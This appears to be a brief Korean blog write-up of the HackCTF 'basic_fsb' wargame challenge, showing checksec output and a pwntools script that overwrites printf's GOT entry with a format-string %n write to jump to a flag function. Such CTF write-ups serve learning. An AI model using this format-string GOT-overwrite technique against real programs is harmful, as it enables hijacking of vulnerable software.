![[hackctf] basic_fsb 포스팅 썸네일 이미지](https://img1.daumcdn.net/thumb/R750x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeKpq8t%2Fbtq2XjoWGXD%2Fz9RTKC1DkuA2nKYOzjPE9k%2Fimg.png)
War Games/hack-ctf
[hackctf] basic_fsb
문제 소스 보호기법 gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial 문제 분석 및 페이로드 from pwn import * context.log_level='debug' p=process("./basic_fsb") printf_got=0x0804a00c flag=0x080485b4 pay=p32(printf_got) pay+="%134514096c" pay+="%n" #pause() p.sendlineafter("input : ",pay) #pause() p.interactive() 참고문헌 및 힘들었던 부분